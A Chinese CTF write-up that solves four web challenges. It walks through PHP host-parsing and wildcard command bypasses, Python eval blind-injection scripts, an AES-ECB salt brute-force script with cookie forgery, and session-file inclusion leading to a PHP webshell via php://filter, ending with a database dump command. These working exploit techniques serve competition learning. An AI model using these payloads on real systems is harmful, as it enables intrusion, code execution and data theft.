本文稿费 300元

砸个广告:各位在网络安全方面有新创作的小伙伴,快将你们的心得砸过来吧~

文章以word形式发至邮箱:

有偿投稿,记得留下你的姓名和联系方式哦~

web1-OmegaSector

html注释中:

得到回显

发现网站源码,这里给出关键部分:

flag的位置:

1ini_set("display_errors", 0); 2include('secret.php'); 两个跳转功能:

1if($whoareyou==="alien.somewhere.meepwn.team")  2{  3    if(!isset($_GET['alien']))  4    {  5        $wrong = <<<EOF  6.......(省略) 7EOF;  8        echo $wrong;  9    } 10    if(isset($_GET['alien']) and !empty($_GET['alien'])) 11    { 12         if($_GET['alien']==='@!#$@!@@') 13        { 14            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 15            exit(header( "Location: alien_sector.php" )); 16        } 17        else 18        { 19            mapl_die(); 20        } 21    } 22} 这里有一个链接的跳转header( "Location: alien_sector.php" ),但是需要$_GET['alien']==='@!#$@!@@'

然后紧接着

1elseif($whoareyou==="human.ludibrium.meepwn.team")  2{ 3 if(!isset($_GET['human']))  4    {  5        echo "";  6        $wrong = .......(省略) 7        echo $wrong;  8    }  9    if(isset($_GET['human']) and !empty($_GET['human'])) 10    { 11         if($_GET['human']==='Yes') 12        { 13            $_SESSION['auth']=hash('sha256', 'human'.$salt); 14            exit(header( "Location: omega_sector.php" )); 15        } 16        else 17        { 18            mapl_die(); 19        } 20    } 21}这里也有一个不同的跳转omega_sector.php,需要$_GET['human']==='Yes'

whoareyou的来源:

1$remote=$_SERVER['REQUEST_URI'];  2if(strpos(urldecode($remote),'..'))  3{  4mapl_die();  5}  6if(!parse_url($remote, PHP_URL_HOST))  7{  8    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];  9} 10$whoareyou=parse_url($remote, PHP_URL_HOST); 攻击思路:

很明显,第一步是要过这里的whoareyou解析

我们必须访问题目的链接,但是又需要它将host解析成

alien.somewhere.meepwn.team或human.ludibrium.meepwn.team

那么这里就可以利用Burp抓包修改bypass

显然成功触发了302跳转

我们跟一下

成功来到了alien_sector.php页面

经过fuzz,不难发现,这个页面只允许输入符号,而数字和字母是非法的

type控制文件后缀,message控制文件内容

另一边,omega_sector.php是一样的,我就不再赘述,是只允许字母和数字,不允许任何符号

而对于符号,我立刻就想到了利用?来通配bypass的trick,而对于php标签,在Solveme.peng.kr中遇到过:

1<?=$flag='123';?>可以解析为

1<?php2$flag='123';3echo $flag;4?>而对于通配符,早在geekgame中我也遇到过:

%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97

所以这里可以用?来通配命令

我们可以利用/???/???来通配/bin/cat

而flag文件

1../secret.php可以用

1../??????.???简单测试

访问该文件得到

it works!

综上所述,可以得到payload

为什么使用重定向:因为我尝试过直接读取,但是貌似太大了,页面一直在加载中,很难受

访问该页面,下载重定向文件,即可看到flag

web2-PyCalx

题目链接:-bin/server.py?value1=123&op=%3D%3D&value2=123

题目直接给出了源码(给出关键部分)

源码分析:

1#!/usr/bin/env python 2import cgi; 3import sys 4from html import escape 5 6FLAG = open('/var/www/flag','r').read() 7if 'source' in arguments: 8    source = arguments['source'].value 9else:10    source = 01112if source == '1':13    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')1415if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:16    def get_value(val):17        val = str(val)[:64]18        if str(val).isdigit(): return int(val)19        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.20        if val == '' or [c for c in blacklist if c in val] != []:21            print('<center>Invalid value</center>')22            sys.exit(0)23        return val2425    def get_op(val):26        val = str(val)[:2]27        list_ops = ['+','-','/','*','=','!']28        if val == '' or val[0] not in list_ops:29            print('<center>Invalid op</center>')30            sys.exit(0)31        return val3233    op = get_op(arguments['op'].value)34    value1 = get_value(arguments['value1'].value)35    value2 = get_value(arguments['value2'].value)3637    if str(value1).isdigit() ^ str(value2).isdigit():38        print('<center>Types of the values don\'t match</center>')39        sys.exit(0)4041    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))4243    print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')44    print('>>>> print('+escape(calc_eval)+')')4546    try:47        result = str(eval(calc_eval))48        if result.isdigit() or result == 'True' or result == 'False':49            print(result)50        else:51            print("Invalid") # Sorry we don't support output as a string due to security issue.52    except:53        print("Invalid")代码很好理解,接收了4个参数,对其中3个参数进行check(source参数不check)然后拼接3个参数,进行命令执行判断执行结果是否为bool值或者数字,如果是,则输出,反之则输出无效

那我们的思路也很简单了,bypass过滤,执行命令,读取/var/www/flag

而过滤如下:

11.对于value:最长为64,不可出现黑名单字符'( ) [ ] ' " '22.对于op:最长为2,必须以白名单开头'+ - / * = !'33.value1和value2的类型必须一样,要么都为数字,要么都为字符串攻击思路:

这里想要命令执行显然比较困难

但是题目暗示明显,想让我们进行运算比较

那这就和sql注入很相似了,我们只需要构造两个值进行比较即可

而题目意图也很直接,关于op,留下了2个字符长度,却只过滤了一个

我们知道python中,+除了运算符的加,也可以当做拼接符

而#可以用于注释

那么就可以进行注入闭合了

1value1=a2op=+'3value2= < b#此时我们可以发现语句变成了

1'a'+''<b#'但是这样是无效的,因为b不是一个已定义的变量

所以这里想到引入已定义的变量进行注入

那么能控制的也只有source、value1了(因为value2无法引入单引号)

此时还只能构造已定义变量的表达式,所以想到了

1value1+FLAG<vaule1+source这样的表达式

对于source的值,我们可以控制

1if 'source' in arguments:2    source = arguments['source'].value故此可以得到如下的payload:

1source=M&value1=sky&value2=+FLAG<value1+source#&op=+'这样一来就可以得到比较式

1'x'+''+FLAG<value1+source而value1正是前面的x,我们可以利用能控制的source比较出FLAG

这也是sql注入中常见的手段

注入脚本:

1import requests 2import urllib 3source="M" 4v2="+FLAG<value1+source#" 5op="+'" 6 7for i in range(1,1000): 8    tmp = source 9    for j in range(33,127):10        tmp += chr(j)11        url = "-bin/server.py?source=%s&value1=sky&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))12        s=requests.get(url=url)13        tmp = source14        if "True" in s.content[765:780]:15            source += chr(j-1)16            print source17            break运行结束即可得到flag

web3-PyCalx2

这里变成了加强版,有了我之前说的op过滤

我们对比一下两者源码,只有这一处改动

1 op = get_op(get_value(arguments['op'].value))也就是说加入了黑名单过滤

我们的op不能再引入( ) [ ] ' "

那么引号肯定是不能直接像sql注入那样闭合了

攻击思路

这里就用到了python3.6的新特性

即以f 开头,表达式放在大括号{}里,在运行时表达式会被计算并替换成对应的值。

那么我们可以利用op=+f来进行bypass

为了有办法辨识正确性,所以引入了0和1做对比

但是因为结果只允许True和False

在保证区分度的情况下,还得构造出True

这里就用到了14:x

正如图中所示,其经过表达式后,值为e

而表达式中,如果是0的话,那么输出则为True,如果为1的话,那么输出则不是True,也就是无效

这样就有了辨识度,可以进行注入了

直接将0和1的位置改成FLAG<source进行比较即可

攻击脚本:

1import requests 2import urllib 3source="M" 4v2="ru{FLAG<source or 14:x}" 5op="+f" 6 7for i in range(1,1000): 8    tmp = source 9    for j in range(33,127):10        tmp += chr(j)11        url = "-bin/server.py?source=%s&value1=T&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))12        s=requests.get(url=url)13        tmp = source14        if "True" not in s.content[765:780]:15            source += chr(j-1)16            print source17            break运行后得到flag

web4-Mapl Story

题目源码下载:

代码分析

拿到代码后,发现不是框架写的,那么就从入口入手吧

审计index.php

1if(isset($_GET['page']) && !empty($_GET['page']))2{3    include($_GET['page']);4}5else6{7    header("Location: ?page=login.php");8}不难发现存在文件包含问题,这里暂时记下

然后跟着跳转来到Login.php

1if( $count === 1 && $row['userPass']===$password )  2            { 3                $secure_email=encryptData($row['userEmail'],$salt,$key); 4                $secure_name=encryptData($row['userName'],$salt,$key); 5                $log_content='['.date("h:i:sa").' GMT+7] Logged In'; 6                $_SESSION['character_name'] = $secure_name; 7                $_SESSION['user'] = $secure_email; 8                $_SESSION['action']=$log_content; 9                if ($row['userIsAdmin']==='1')10                {11                    $data='admin'.$salt;12                    $role=hash('sha256', $data);13                    setcookie('_role',$role);14                }15                else16                {17                    $data='user'.$salt;18                    $role=hash('sha256', $data);19                    setcookie('_role',$role);      20                }21                header("Location: ?page=home.php");22            } 登录成功后,将会把登录的身份+盐的sha256赋值给cookie的_role

我们继续跟进到admin.php,看是否使用_role判断是否为admin

关键代码

1<?php 2    ob_start(); 3    require_once('dbconnect.php'); 4    require_once('mapl_library.php'); 5    check_access(); 6    is_login(); 7 8    //setup config 9    $configRow=config_connect($conn);10    $salt=$configRow['mapl_salt'];11    $key=$configRow['mapl_key'];1213    //get information14    $mail=mysqli_real_escape_string($conn,decryptData($_SESSION['user'],$salt,$key));15    $character_name=mysqli_real_escape_string($conn,decryptData($_SESSION['character_name'],$salt,$key));16    $userRow=user_connect($conn,$mail);17    $admin=is_admin($salt);18    if($admin===0)19    {20        mapl_die();21    }22    $log_content='['.date("h:i:sa").' GMT+7] Access Hidden Street!';23    $_SESSION['action']=$log_content;24?>我们跟进is_admin()函数

1    function is_admin($salt)2    {3        if(isset($_COOKIE['_role']) && !empty($_COOKIE['_role']) && $_COOKIE['_role']===hash('sha256', 'admin'.$salt))4        {5            return 1;6        }7            return 0;8    }发现的确是使用cookie中的_role来确认admin的身份

那么现在的思路很简单,伪造cookie,变成admin,触发下一步功能

第一步攻击思路:

那么既然需要伪造cookie,就必须知道salt的值

我们全局搜索一下$salt,不难发现

1function encryptData($data,$salt,$key)2    {3            $encrypt=openssl_encrypt($data.$salt,"AES-128-ECB",$key);4            $raw=base64_decode($encrypt);5            $final=implode(unpack("H*", $raw));6            return $final;7    }因为有做过CBC的Padding Oracle Attack,所以我知道这里的ECB可能也存在问题

或许可以用类似的方法,得到$salt的明文

而我们知道这个函数的调用点在login的时候

1$secure_email=encryptData($row['userEmail'],$salt,$key);            2$secure_name=encryptData($row['userName'],$salt,$key);3$_SESSION['character_name'] = $secure_name;4$_SESSION['user'] = $secure_email;值是存在session里的,那我们如何看到这个值呢?

这就要用到最开始的文件包含了

文件包含的时候包含session是一种常见的手段

一般用于getshell等(N1CTF等各大比赛就曾出现过)

这里我们可以使用包含读取session的变量值

/var/lib/php/sessions/sess_81nfo68a16biqs4miuu17146n3

得到内容

1character_name|s:64:"28288a94081dcbdd83957b9305080a355c37b4654ec2a5813f81dbe98b";user|s:64:"c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005";action|s:28:"[12:56:31pm GMT+7] Logged In";于是我们得到了加密过的

1$secure_email:c15b9c9a37650c56dc9e77af8675d32841afa09ffe1f2c6338551390052$secure_name:28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b那么怎么利用这一点得到$salt呢?

这里可以利用相似Padding Oracle Attack的解法,但是简单的多

1.假设明文为:skycool, salt的值为:Whitzard

2.加密的时候就会变成string:skycoolWhitzard

而如果8个一组进行加密的话

skycoolW为第一组

hitzard+(padding)为第二组

那么如果我们注册一个用户名为skycool的用户,得到他的$secure_name

然后不断更新用户名

直到第一个分组的密文等于之前的$secure_name

即skycoolW

此时就得到了第一个salt的值:W

所以总体过程为

skycooWhitzard

而这里是16个一组,所以如图,我们不断往后爆破即可得到salt

即注册skyskyskyskysky即可,然后利用

即可更改用户名,不断进行爆破,即可得到salt

salt爆破脚本:

1import requests 2import string 3phpsession = "alsobtmcmlh2i057l1q8qg8g72" 4phprole = "8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690addcbe" 5 6def readname(): 7    url = "/var/lib/php/sessions/sess_"+phpsession 8    r = requests.get(url=url) 9    return r.content[21:85]1011def changname(username):12    url = "setting.php"13    data = {14        "name":username,15        "submit":"Edit"16    }17    cookie = {18        "PHPSESSID":phpsession,19        "_role":phprole20    }21    s = requests.post(url=url,data=data,cookies=cookie)2223def getsalt():24    tmp_name = 'skyskyskyskysky'25    salt = ''26    for i in range(15, -1, -1):27        changname(tmp_name[:i])28        cmp = readname()[:32]29        if i==0:30            cmp = readname()[32:64]31        for j in string.printable:32            changname(tmp_name[:i] + salt + j)33            if cmp == readname()[:32]:34                salt += j35                print salt36                break3738getsalt()运行即可得到salt:ms_g00d_0ld_g4m3

第二步攻击思考

有了salt,第一件事肯定是伪造cookie的_role

我们根据

1if ($row['userIsAdmin']==='1')2{3    $data='admin'.$salt;4    $role=hash('sha256', $data);5    setcookie('_role',$role);6}伪造cookie:

1import hashlib2def sha256(name,salt):3    sha = hashlib.sha256(name+salt)4    encrypts = sha.hexdigest()5    return encrypts6salt = 'ms_g00d_0ld_g4m3'7name = 'admin'8print sha256(name,salt)得到

a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf05054

此时成功伪造admin,登入admin.php页面

然后我们看一下admin.php的代码

1 <?php 2    if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) ) 3    { 4        $dir='./upload/'.md5($salt.$_POST['email']).'/'; 5        give_pet($dir,$_POST['pet']); 6        if(check_available_pet($_POST['pet'])) 7        { 8                $log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']); 9                $_SESSION['action']=$log_content;10        }11    }12    ?>这里有一个地方非常瞩目,因为我之前有说过,包含session文件getshell是比较常见的一个思路

那么这里有一个可控的session变量就显得尤为危险

我们看一下构造

1$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);跟进search_name_by_mail()

1function search_name_by_mail($conn,$mail) 2    { 3        $mail=mysqli_real_escape_string($conn,$mail); 4        $res=mysqli_query($conn,"SELECT userName FROM users WHERE userEmail='".$mail."'"); 5        $userRow=mysqli_fetch_array($res); 6        if($userRow['userName']) 7        { 8            return $userRow['userName']; 9        }10        else11        {12            return '[Not Exists Player]';13        }14    }发现成功返回用户名,也就是说这里可以将用户名写入session

而用户名是可控的,但是必须经过黑名单过滤

1|\(.+\)|`.+`|而这个过滤是针对全局的get和post的,这样我们就不能直接利用用户名+session getshell了

所以这里就要用到最后一个尚未被使用的功能了:

跟一下代码

1if(isset($_POST['command']) && !empty($_POST['command'])) 2{ 3    if(strlen($_POST['command'])>=20) 4    { 5        echo '<center><strong>Too Long</strong></center>'; 6    } 7    else 8    { 9        save_command($mail,$salt,$_POST['command']);10        header("Refresh:0");11    }12}这里跟踪save_command()

1    function save_command($email,$salt,$data)2    {3        $dir='./upload/'.md5($salt.$email);4        file_put_contents($dir.'/command.txt', $data);5    }发现是写文件

那么我们思考一下,可否包含自己写的文件进行getshell呢?

但是问题又来了,文件的内容是post形式的,那么还是要经过过滤,这就非常尴尬了

有没有什么可以绕过过滤的方法呢?

我们知道cookie是未被过滤的,而我们可控的点有一个txt的文件写入和一个php文件的内容,但是都要经过过滤

这里有一个比较好的思路

构造一个名为

1<?=include"$_COOKIE[a]的用户名

然后利用发送宠物,将其写入session

此时,我们就在cookie里有了文件包含的方法,这样就可以轻松bypass过滤

然后我们在写文件的地方,写入小马的base64

再利用伪协议包含这个文件,即可解码成功,并包含小马,达到getshell的目的

攻击流程:

1.修改自己的用户名为:

1<?=include"$_COOKIE[a]2.admin.php发送宠物给自己

3.character.php给宠物下命令PD89YCRfR0VUW2ZdYDs

1<?=`$_GET[f]`;然后在自己的session页面

/var/lib/php/sessions/sess_860rofo88uaj96mrs8u2ufk0k6

增加cookie:

a=php://filter/convert.base64-decode/resource=upload/d030e4c77da08982a705ff9e76/command.txt

利用伪协议解码小马,并包含进来

即可成功执行命令

然后读取dbconnect.php

1define('DBHOST', 'localhost'); 2    define('DBUSER', 'mapl_story_user'); 3    define('DBPASS', 'tsu_tsu_tsu_tsu');  4    define('DBNAME', 'mapl_story'); 5 6    $conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME); 7 8    if ( !$conn ) { 9        die("Connection failed : " . mysql_error());10    }连接并查询数据库

1echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story得到flag